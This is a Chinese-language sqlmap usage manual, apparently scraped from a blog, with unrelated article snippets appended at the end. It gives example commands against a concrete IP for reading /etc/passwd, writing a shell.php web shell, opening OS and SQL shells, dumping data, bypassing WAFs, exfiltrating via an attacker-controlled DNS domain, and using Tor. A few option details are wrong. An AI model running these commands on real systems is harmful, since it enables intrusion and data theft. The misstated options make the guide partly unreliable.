Sqlmap手册—史上最全
Sqlmap手册—史上最全
一.介绍
开源的SQL注入漏洞检测的工具,能够检测动态页面中的get/post参数,cookie,http头,还能够查看数据,文件系统访问,甚至能够操作系统命令执行。
检测方式:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入
支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
二.基本参数
—update:更新
python sqlmap.py —update
-h:查看常用参数
python sqlmap.py -h
-hh:查看全部参数
python sqlmap.py -h
—version:查看版本
python sqlmap.py —version
-v:查看执行过程信息,默认是1,一共 0 ~ 6
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -v 3
-d :mysql表示数据库类型、user:password表示目标服务器的账号和密码,@后表示要连接的服务器,3306表示端口,zakq_ dababasename表示连接的数据库名称
python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”
—wizard :向导式
python sqlmap.py —wizard
三.确定目标
-u “URL” :指定URL,get请求方式
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“
-m url.txt ::使用一个包含多个url的文件进行扫描。若有重复,sqlmap会自动识别成一个。
python sqlmap.py -m url.txt
-g :扫描,使用Google语法得到的url。
python sqlmap.py -g “inurl:\”.php?id=1\”
-r request.txt :Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。(BurpSuit抓包—>将请求复制到txt中即可)
python sqlmap.py -r request.txt
-l log.txt —scope=”正则表达式” :Post提交方式,使用BurpSuit的log文件。(Options—>Misc—>Logging—>Proxy—>勾选Request ,scope的作用是 基于正则表达式去过滤日志内容,筛选需要扫描的对象。
python sqlmap.py -l log.txt —scope=”(www)?.target.(com|net|arg)”
-c sqlmap.conf :使用配置文件进行扫描 (sqlmap.conf与sqlmap.py 在同一目录)
python sqlmap.py -c sqlmap.conf
-u “URL” :对于这种写法,加号扫描
python sqlmap.py -u “http://target_url/param1/value1/param2/value2“
四.配置目标参数
-p :指定要扫描的参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ -p “username,id”
—skip:排除指定的扫描参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —skip “username,id”
—data:指定扫描的参数,get/post都适用
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”
—param-del:改变分隔符,默认是&,因为有些网站不实用&传递多个数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;”
—cookie :使用cookie的身份认证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131”
—drop-set-cookie:有时候发起请求后,服务器端会重新Set-cookie给客户端,SQLmap默认会使用新的cookie,这时候可以设置此参数,表示还是用原来的cookie。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”
—user-agent :使用浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —user-agent=”aaaaaaaaa”
—random-agent:使用随机的浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —random-agent
—host :指定主机头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —host=”aaaaa”
—referer=”aaaaaa” :指定referer头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —referer=”aaaaaa”
—headers :有些网站需要特定的头来身份验证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —headers=”host:aaaa\nUser-Agent:bbbb”
—method :指定请求方式,还有POST
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —method=GET
—auth-type , —auth-cred:身份认证,还有Digest、NTLM
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —auth-type Basic —auth-cred “user:pass”
—auth-file=”ca.PEM” :使用私钥证书去进行身份认证,还有个参数—auth-cert,暂时不知道怎么用,没遇到过
—proxy :使用代理去扫描目标,代理软件占用的端口在8080
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“
—proxy-cred:使用代理时的账号和密码
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“ —proxy-cred=”name:pass”
—ignore-proxy :忽略系统级代理设置,通常用于扫描本地网络目标,本网段。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —ignore-proxy
五.配置目标行为
—force-ssl:使用HTTPS连接进行扫描
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl
—delay:每次http请求之间的延迟时间,默认无延迟
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —delay=”3”
—timeout:请求超时时间,浮点数,默认为30秒
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —timeout=”10”
—retries:http连接的重试次数,默认3次
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —retries=”1”
—randomize:长度、类型与原始值保持一致的情况下,随机参数的取值。比如id=100 -> id=1??
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —randomize=”id”
—safe-url:检测盲注阶段时,sqlmap会发送大量失败请求,可能导致服务器端销毁session
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-url=”URL”
—safe-freq :每发送多少次注入请求后,发送一次正常请求,配合—safe-url使用。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-freq
—time-sec:基于时间的注入检测相应延迟时间,默认5秒
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —time-sec=”3”
—union-cols :默认联合查询1-10列,随—level增加,最多支持100列。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-cols 6-9
—union-char:联合查询默认使用null,极端情况下可能失败,此时可以手动执行数值
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-char 123
—technique US :指定检测注入时所用技术,默认情况下Sqlmap会使用自己支持的全部技术进行检测,有B、E、U、S、T、Q
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —technique US
六.优化探测过程
—level 2:检测cookie中是否含有注入、3:检测user-agent、referer是否含有注入、5:检测host是否含有注入
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —level 3
—risk 默认1,最高4,等级高容易造成数据被篡改风险
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —risk 3
—predict-output :优化检测方法,不断比对大数据,缩小检测范围,提高效率,与—threads参数不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —predict-output
—keep-alive :长连接、性能好,避免重复建立的网络开销,但大量长连接会占用服务器资源。与—proxy参数不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —keep-alive
—null-connection :只获取页面大小的值,通常用于盲注判断真假,与—text-only 不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —null-connection
-o :直接开启以上三个(—predict-output、—keep-alive、—null-connection)
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -o
—threads=7 :提高并发线程,默认为1,建议不要超过10,否则影响站点可用性,与—predict-out不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —threads=7
—string=”woaini” :页面比较,用于基于布尔注入的检测,因为有时候页面随时间阈值变化,此时需要人为指定标识真假的字符串,除此之外,还有—not-string=”woaini”、—code=200、—titles=”Welcome”等等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —string=”woaini”
七.特定目标环境
—skip-urlencode :默认get传参会使用URL编码,但有些服务器没按规范,使用原始字符提交数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —skip-urlencode
—eval :在提交前,对参数进行pyhton的处理,提升效率
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
—dbms :指定数据库类型,还可以加上版本 Mysql<5.0>
python sqlmap.py -u “http://59.63.200.79:8003/?id=1” —dbms=”Mysql”
—os :指定操作系统,还可以是Linux
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os=”Windows”
—invalid-bignum :sqlmap默认使用负值让参数进行失效,该参数使用最大值让参数失效,比如 id=9999999
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-bignum
—invalid-logical :使用布尔值,比如 id 13 and 18=19
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-logical
—no-cast:将sqlmap取出的数据转换为字符串,并用空格替换NULL结果,在老版本时需要开启此开关。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-cast
—no-escape:为了逃逸服务器端对sqlmap的检测,默认使用char()编码替换字符串。本参数将关闭此功能。比如 select ‘foo’ —> select cahr(102) + char(111) + char(111)
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-escape
—prefix:添加前缀
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —prefix “‘)’”
—suffix :添加后缀
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —suffix “AND (‘abc’=’abc”
—tamper:使用脚本,绕过IPS、WAF等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tamper=”tamper/between.py,tamper/randomcase.py”
—dns-domain:攻击者控制了DNS服务器,可以提高取出数据的效率
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dns-domain attacker.com
—second-order:在一个页面注入的结果,从另外一个页面提现出来
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —second-order “http://1.1.1.1/b.php“
八.查看基本信息
-f :扫描时加入数据库指纹检测
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -f
-b :查看数据库的版本信息
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -b
九.查看数据信息
—users :查询所有的数据库账号
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —users
—dbs :查询所有数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dbs
—schema :查询源数据库(包含定义数据的数据)
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —schema
-a :查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -a
-D dvwa:指定数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -D database_name
—current-user :查询当前数据库用户
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-user
—current-db :查询当前数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-db
—hostname :查看服务器的主机名
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hostname
—Privileges -U username :查询username的权限
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —Privileges -U username
—roles :查询角色
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —roles
—tables :查看所有的表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tables
-T :指定表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -T table_name
—columns :查看所有的字段
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —columns
-C :指定字段
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -C column_name
—count :计数,查看有多少条数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —count
—exclude-sysdbs :排除系统库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —exclude-sysdbs
—dump :查看数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dump
—start 3 :查看第三条
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —start 3
—end 4 :查看第四条
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —end 4
—sql-query “select * from users” :执行语句
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-query “select * from users”
—common-columns :暴力破解字段,应用于两种情况:①无权限读取数据。②mysql<5.0 ,没有infomation_schema库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-columns
—common-tables :暴力破解表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-tables
十.其他参数
—batch :自动选是
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —batch
—charset:强制字符编码
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —charset=GBK
—crawl:爬站深度
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —crawl=3
—csv-del:指定csv文件的分隔符
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —csv-del=”;”
—flush-session :清空session
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —flush-session
—force-ssl :强制使用HTTPS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl
—fresh-queries :重新检测,不使用本地已查询的数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —fresh-queries
—hex :以16进制的形式编码dump出来的数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hex
—parse-errors :分析和显示数据库内建报错信息
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —parse-errors
—answer :回答
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —answer=”extending=N”
—check-waf :检测WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —check-waf
—hpp :绕过WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hpp
—identify-waf :彻底检测WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —identify-waf
—mobile :模拟智能手机设备
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —mobile
—purge-output :清除output文件夹
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —purge-output
—smart :当有大量检测目标时,只选择基于错误的检测结果
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —smart
十一.高级注入参数
—file-read:文件系统访问
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-read=”/etc/passwd”
—file-write、—file-dest :写文件到目标位置
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-write=”shell.php” —file-dest “/tmp/shell.php”
—sql-shell :进入交互式mysql窗口
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-shell
—os-shell :进入命令行窗口
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os-shell
使用Tor代理
sqlmap.py -u http://navisec.it/123.asp?id=1 —tor -tor-type=SOCKS5 —tor-port=9050 —check-tor
相关文章:

Sqlmap手册—史上最全
Sqlmap手册—史上最全 一.介绍 开源的SQL注入漏洞检测的工具,能够检测动态页面中的get/post参数,cookie,http头,还能够查看数据,文件系统访问,甚至能够操作系统命令执行。 检测方式:布尔盲注、…...

《花雕学AI》13:早出对策,积极应对ChatGPT带来的一系列风险和挑战
ChatGPT是一款能和人类聊天的机器人,它可以学习和理解人类语言,也可以帮人们做一些工作,比如翻译、写文章、写代码等。ChatGPT很强大,让很多人感兴趣,也让很多人担心。 使用ChatGPT有一些风险,比如数据的质…...

windows开机启动软件、执行脚本,免登录账户
文章目录 前言一、打开任务计划程序1.我电脑上的是点搜索“任务计划程序”,可能每个电脑的搜索按钮不一样,自行查找2.打开后应该是长这样的 二、创建文件夹1.点击任务计划程序库、右键选择新建文件夹2.名字顺便,点击确定3.创建后如图、点击目…...
Rocky Linux 8 安装实时内核
【方法一:yum 安装】 在 /etc/yum.repos.d 目录下新建一个Rocky8-rt.repo安装rt内核和相关工具$ sudo yum install kernel-rt重启系统$ sudo reboot【方法二:rpm安装】 查看系统内核版本$ uname -a 4.18.0-425.3.1.el8_7.x86_64根据系统内核版本下载实…...

数据预处理(Data Preprocessing)
Data Preprocessing 前言Why preprocess?Major Tasks in Data PreprocessingData CleaningIncomplete (Missing) DataWhat to Consider When Handling Missing Data?MCARMARMNAR How to Handle Missing Data - ImputationMore on ImputationEven More on ImputationPreproces…...
MySQL数据库——MySQL WHERE:条件查询数据
在 MySQL 中,如果需要有条件的从数据表中查询数据,可以使用 WHERE 关键字来指定查询条件。 使用 WHERE 关键字的语法格式如下: WHERE 查询条件 查询条件可以是: 带比较运算符和逻辑运算符的查询条件带 BETWEEN AND 关键字的查询…...

【JavaEE初阶】多线程(三)volatile wait notify关键字 单例模式
摄影分享~~ 文章目录 volatile关键字volatile能保证内存可见性 wait和notifywaitnotifynotifyAllwait和sleep的区别小练习 多线程案例单例模式饿汉模式懒汉模式 volatile关键字 volatile能保证内存可见性 import java.util.Scanner;class MyCounter {public int flag 0; }p…...

git把一个分支上的某次修改同步到另一个分支上,并解决git cherry-pick 冲突
背景 我们在工作中经常会碰到好几个同事共同在一个分支上开发,一个项目同时会有好几个分支,我们在feature上开发的功能时,有可能某个需求需要提前发布,这个时候我们已经在feature A上开发完成,但是需要在master上发布…...

S32K3系列单片机开发笔记(SIUL是什么/配置引脚复用的功能·)
前言 今天花时间看了一下,SIUL2模块的相关内容,并参照文档,以及例程作了一些小记录,知道该如何使用这个外设,包括引脚的配置,中断配置,以及常用函数的使用等,但对其中的一些细节还需…...

Linux没网络的情况下快速安装依赖或软件(挂载本地yum仓库源(Repository))
一、上传iso系统镜像: 上传和系统同一版本、同一位数(32bit:i686或i386/64bit:x86_64)的系统,不能是Minimal版本,可以是DVD(较全)或everything(最全)。 注&am…...
为了安装pip install pyaudio花费不少时间,坑
记录一下吧: 环境: mac OS Monterey 12.6.5 pyaudio是没有mac下的whl, 通过pip安装是需要进行编译的,我原来系统的是/usr/local/bin/clang 15.0.0版本,然后调用的C_CLUDE_PATH就是/usr/local/include和下面的c/v1&am…...

第十一章 组合模式
文章目录 前言一、组合模式基本介绍二、UML类图三、完整代码抽象类,所有类都继承此类学校类以父类型引用组合一个学院类学院类以父类型引用组合一个专业类专业类,叶子节点,不能再组合其他类测试类 四、组合模式在JDK集合的源码分析五、组合模…...

LeetCode链表OJ题目 代码+思路分享
目录 删除有序数组中的重复项合并两个有序数组移除链表元素 删除有序数组中的重复项 链接: link 题目描述: 题目思路: 本题使用两个指针dst和src一前一后 相同情况: 如果nums[dst]nums[src],那么src 不相同情况: 此…...

第06讲:为何各大开源框架专宠 SPI 技术?
在此前的内容中,已经详细介绍了 SkyWalking Agent 用到的多种基础技术,例如,Byte Buddy、Java Agent 以及 OpenTracing 中的核心概念。本课时将深入介绍 SkyWalking Agent 以及 OAP 中都会使用到的 SPI 技术。 JDK SPI 机制 SPI(…...
[Unity] No.1 Single单例模式
单例模式 1. 基础 定义:单例模式是指在内存中只会创建且仅创建一次对象的设计模式。在程序中多次使用同一个对象且作用相同时,为了防止频繁地创建对象使得内存飙升,单例模式可以让程序仅在内存中创建一个对象,让所有需要调用的地…...
【chatGPT知识分享】Flutter web 性能优化基础入门
简介 Flutter 是 Google 在这里插入代码片公司推出的跨平台移动应用开发框架,支持 Android、iOS 和 Web 等多个平台。Flutter Web 是 Flutter 在 Web 平台上的应用,可以开发具有良好用户体验的网站。但是,由于 Web 环境的特殊性,…...
探索Qt折线图之美:一次详尽的多角度解析
探索Qt折线图之美:一次详尽的多角度解析 第一章:Qt折线图的基本概念与应用场景(Basic Concepts and Applications of Qt Line Charts)1.1 Qt折线图简介(Introduction to Qt Line Charts)1.2 Qt折线图的应用…...
minio集群部署,4台服务器+1台nginx
4台主机1台nginx负载均衡 分布式Minio里所有的节点需要有同样的access秘钥和secret秘钥,即:用户名和密码 分布式Minio存放数据的磁盘目录必须是空目录 分布式Minio官方建议生产环境最少4个节点,因为有N个节点,得至少保证有N/2的节…...

实例分割算法BlendMask
实例分割算法BlendMask 论文地址:https://arxiv.org/abs/2001.00309 github代码:https://github.com/aim-uofa/AdelaiDet 我的个人空间:我的个人空间 密集实例分割 密集实例分割主要分为自上而下top-down与自下而上bottom-up两类方法…...
多线程、智能指针以及工厂模式
目录 一、unique_lock 二、智能指针 (其实是一个类) 三、工厂模式 一、unique_lock 参考文章【1】,了解unique_lock与lock_guard的区别。 总结:unique_lock使用起来要比lock_guard更灵活,但是效率会第一点,内存的…...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战
前言 现在我们有个如下的需求,设计一个邮件发奖的小系统, 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)
CSI-2 协议详细解析 (一) 1. CSI-2层定义(CSI-2 Layer Definitions) 分层结构 :CSI-2协议分为6层: 物理层(PHY Layer) : 定义电气特性、时钟机制和传输介质(导线&#…...

Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
数据链路层的主要功能是什么
数据链路层(OSI模型第2层)的核心功能是在相邻网络节点(如交换机、主机)间提供可靠的数据帧传输服务,主要职责包括: 🔑 核心功能详解: 帧封装与解封装 封装: 将网络层下发…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

Java面试专项一-准备篇
一、企业简历筛选规则 一般企业的简历筛选流程:首先由HR先筛选一部分简历后,在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如:Boss直聘(招聘方平台) 直接按照条件进行筛选 例如:…...

如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...